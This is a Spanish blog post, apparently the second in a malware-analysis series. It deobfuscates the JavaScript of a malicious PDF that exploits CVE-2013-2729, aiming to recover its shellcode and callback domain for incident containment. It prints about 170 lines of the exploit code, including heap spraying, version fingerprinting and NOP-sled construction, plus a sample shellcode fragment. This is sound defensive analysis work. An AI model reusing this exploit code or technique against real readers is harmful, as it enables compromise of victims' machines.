PDF deconstruído al aroma de shellcode ( II )

Resumiendo el artículo anterior: tenemos un PDF malicioso que explota la vulnerabilidad CVE-2013-2729, con un código JavaScript ofuscado del que queremos extraer el dominio contra el que se conecta. ¡Manos a la obra!

Si limpiamos las 3 imágenes y el código propio del objeto PDF, el resultado es un fichero de 180 líneas de JavaScript con 4 scripts, 4 funciones y 49 variables. Lo primero que tenemos que hacer es “arreglar” el código ya que los símbolos de “<>&” están codificados como “&lt;&gt;&amp;”
respectivamente.

En segundo lugar, lo que podemos hacer para aclarar el código es dejar un solo bloque de código en JavaScript eliminando todas las etiquetas de <script></script>, con cuidado de reemplazar los nombres de los script en las variables a las que llaman.

Y para favorecer la legibilidad, podemos mover todas las funciones al principio del código (eso sí, vigilando que la reordenación no afecte a la coherencia del código). De esta forma nos quedamos con 170 líneas de “código spaguetti”:

function sRi(x) { 
var s = []; 
var z = hCS(j3); 
       z = hCS(pg); 
       var ar = hCS("[" + z + "]"); 

       for (var i = 0; i < ar.length; i ++) { 
       var j = ar[i]; 
      		if ((j >= 33) && (j <= 126) { 
     s[i] = String.fromCharCode(33 + ((j + 14) % 94)); 
               } 
               else { 
                    s[i] = String.fromCharCode(j); 
               } 
       } 
       return s.join(''); 
} 
         
function mvA8H(x){ 
        return G6G(x); 
} 

function qmE(uindex, param1, param2) { 
switch (uindex) { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
} 
} 

function DwTo(a, b, c, d){ 
var x = form2.Text10.name; 
       var y = this[a]; 
       x = x + '3'; 
       return y; 
} 

var K7r1 = ""; 
var pl27 = ""; 
var PE = [0x30,0x74,0x67,0x72,0x6E,0x63,0x65,0x67, 1, 10, 40]; 
var X0n = ""; 
var aMr = "3t3in33f3o33ha"+ "r3o3ee3a3u3es3a3e"; 
var upd = "Srg.rmCCdvlncp"; 
var upd0 = ""; 
var ii = 0; 

for (var i=0; i < aMr.length; i++) { 
if(aMr[i] == "3") 
       upd0 += upd[ii++]; 
       else 
       upd0 += aMr[i]; 
} 

var xyz1 = upd0.slice(19,23); 
var hCS = DwTo.call(xyz1,xyz1); 
var m7cZT = hCS(upd0.slice(23)); 
var p1 = "(\/[^\\/"; 

for(var q = 0; q < PE.length-3; q++) 
X0n += String.fromCharCode(PE[q]-2); 

var p2 = "(\/[\\/"; 
var j3 = "x" + X0n + p1 + "\\d]\/g,'')"; 
var pg = "z" + X0n + p2 + "]\/g,',')"; 

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

var cqTt=0x12e; 
var e5 = 200; 
var yuc6m = 0; 
var xSzh = new Array(e5); 
var CE = new Array(e5); 
var e2QBU = new Array(e5); 
var tA1lG = new Array(e5/2); 
var i; var j; 

if (yuc6m == 0){ 
var vKQ = "\u5858\u5858\u5678\u1234"; 
       var Vn1e = cqTt/2-1-(vKQ.length+2+2); 

for (i=0; i < e5; i+=1) 
            xSzh[i] = vKQ + qmE(1,i) + 
            K7r1.substring(0, Vn1e) + 
            qmE(1,i) + ""; 

       for (j=0; j < 1000; j++) 
       		for (i=e5-1; i > e5/4; i-=10) 
                     xSzh[i]=null; 
       yuc6m = 1; 
} 
 
var i; var j; 
var hZ = -1; 
var Fs = 0; 
var sD = app.viewerVersion.toFixed(3); 
var He = sD.split("."); 
var lCCR = parseInt(He[0]); 
var JTI = (He.length > 1)  ? parseInt(He[1]) : 0; 

if(He.length > 1) { 
JTI = parseInt(He[1]); 
       if(He[1].length == 1)  JTI *= 100; 
} 
else 
JTI = 0; 

var tc1 = "aNNNcNroNNrNdN3NNN2"; 
var Nvpdy = m7cZT(pl27); 
var zYo = Nvpdy[0] + qmE(1,(JTI << 16) | lCCR) + Nvpdy.substring(3); 
var lHE0 = lCCR >= 11 ? 16 : 14; 

for (i=0; i < e5; i+=1) 
if ((xSzh[i]!=null)  && (xSzh[i][0] != "\u5858")){ 
       hZ = i; 
              NS = Fs = (qmE(2,xSzh[i], lHE0) >> 16); 
              Fs = (NS - mvA8H(tc1.replace(/N/g,""))) << 16; 
              break; 
       } 

       if (hZ == -1){ 
               event.target.closeDoc(true); 
       } 

var UqO = ""; 
var h7o = 0x10101000; 
 
if (lCCR < 11) { 
for (i=0; i < 7; i+=1) 
               UqO += qmE(1,0x30303030+0x11111111); 
} 

UqO += qmE(1,h7o); 

while (UqO.length < cqTt/2) 
UqO += qmE(1,0x47474747+0x11111111); 

for (j=0; j < 10000; j++) 
xSzh[hZ-1]=xSzh[hZ]=null; 

for (i=0; i < e5; i+=1){ 
ID = "" + i; 
       CE[i] = UqO.substring(0,cqTt/2-ID.length) + ID+ ""; 
} 

var or = h7o; 
var DA = ""; 

hCS(sRi(xfa.resolveNode("Image20").rawValue)); 

Como ya comentamos, este tipo de malware suele actuar como dropper, siendo su única función explotar la vulnerabilidad y ejecutar un shellcode (que será el que se conecte a Internet y se descargue el malware real). De esta forma se aseguran de que el malware “pata negra” no esté tan al alcance de los analistas (ya contaremos en otro post la de perrerías que hacen los “malos”).

Si seguimos las fases de la respuesta ante incidentes, ya hemos realizado la detección, por lo que ahora estamos en la fase de contención. Para ello necesitamos obtener los dominios o IP a las que se va a intentar conectar el malware, que están contenidas dentro del shellcode. Resumiendo: nuestro objetivo primario es el shellcode.

Un shellcode standard suele tener un aspecto similar a este (ojo con la codificación en Unicode):

\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6\u33fe\u66c9\ue0b9\ufc01\u35ad

repetido unas cuantas veces.

Si nos fijamos en el código vemos que el creador del malware ha sido listo y no nos lo ha dejado a simple vista, por lo que tendremos que trabajar un poco para conseguirlo. Sí que puede parecer interesante esta línea de código:

var vKQ = "\u5858\u5858\u5678\u1234"; 

pero es demasiado corta para contener el shellcode. De todas formas ojeamos el código y comprobamos que aunque se genera una string en Unicode, no es algo que nos sea útil.

Si seguimos mirando cosas interesantes, encontramos estas dos líneas:

UqO += qmE(1,0x30303030+0x11111111); 
UqO += qmE(1,0x47474747+0x11111111); 

Que nos generan unos cuantos 0x41 y 0x48. ¿Y para qué sirven?.

Cuando estamos generando shellcode para crear un exploit, una parte fundamental es el NOP sled (lo que usa el exploit para colocarse en la posición de memoria deseada para “enchufar” el buffer overflow). El NOP (No Operation, no hagas nada) se representa en hexadecimal como 0x90, y tener unos cuantos seguidos en cualquier documento son garantías casi segura de que puede tener “premio”.

Sin embargo, hay otras formas de generar equivalentes al NOP a base de añadir y restar valores a los registros, como podemos ver en esta tabla:

OP Code        Hex       ASCII
inc eax        0x40        @
inc ebx        0x43        C
inc ecx        0x41        A
inc edx        0x42        B
dec eax        0x48        H
dec ebx        0x4B        K
dec ecx        0x49        I
dec edx        0x4A        J

Una buena teoría es que ahí puede estar el NOP sled. Sin embargo, nosotros queremos el shellcode, por lo que tenemos que seguir buscando.

Si examinamos las funciones, podemos ver algo curioso:

function qmE(uindex, param1, param2) { 
                switch (uindex) 
                { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
                } 
} 

La función qmE es usada en abundancia en el código, y llama a las funciones pack y unpacAt … que no están en ninguna otra parte del código. ¿Puede ser que el “malo” haya sido tan torpe de dejarse un trozo del código y que no funcione? Cosas más raras hemos visto, pero en este momento la paranoia manda y hay que seguir tirando del hilo.

En algún lado tienen que estar esas funciones de pack… y lo veremos en el siguiente post (y último, no vamos a ser como George R.R Martin en Juego de Tronos).